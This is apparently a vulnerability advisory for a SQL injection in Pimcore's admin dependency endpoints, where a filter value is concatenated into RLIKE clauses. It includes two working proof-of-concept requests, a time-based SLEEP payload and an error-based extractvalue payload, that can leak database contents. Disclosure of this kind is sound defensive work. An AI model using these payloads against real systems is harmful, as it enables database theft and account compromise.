| Package | Affected versions | Patched versions |
|---|---|---|
| pimcore/pimcore | ≥ 12.0.0, < 12.3.3≤ 11.5.14.1 | 12.3.3 |
| pimcore | ≥ 12.0.0, < 12.3.3≤ 11.5.14.1 | 12.3.3 |
The filter query parameter in the dependency listing endpoints is JSON-decoded and the value field is concatenated directly into RLIKE clauses without sanitization or parameterized queries.
Affected code in models/Dependency/Dao.php:
All 6 locations use direct string concatenation like:
"AND LOWER(CONCAT(o.path, o.key)) RLIKE '".$value."'"
Note that $orderBy and $orderDirection in the same methods (lines 75-81) ARE properly whitelist-validated, but $value has zero sanitization.
Entry points (pimcore/admin-ui-classic-bundle ElementController.php):
The controller JSON-decodes the filter query param and passes $filter['value'] straight to the Dao without any escaping.
PoC (time-based blind):
GET /admin/element/get-requires-dependencies?id=1&elementType=document&filter=[{"type":"string","value":"x' OR SLEEP(5)#"}]
If vulnerable, the response is delayed by ~15 seconds (SLEEP runs 3 times, once per UNION arm in the inner subquery).
PoC (error-based extraction):
GET /admin/element/get-requires-dependencies?id=1&elementType=document&filter=[{"type":"string","value":"x' OR extractvalue(1,concat(0x7e,(SELECT version())))#"}]
Returns the MySQL version string in the error response.
Requires admin authentication. An attacker with admin panel access can extract the full database including password hashes of other admin users.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free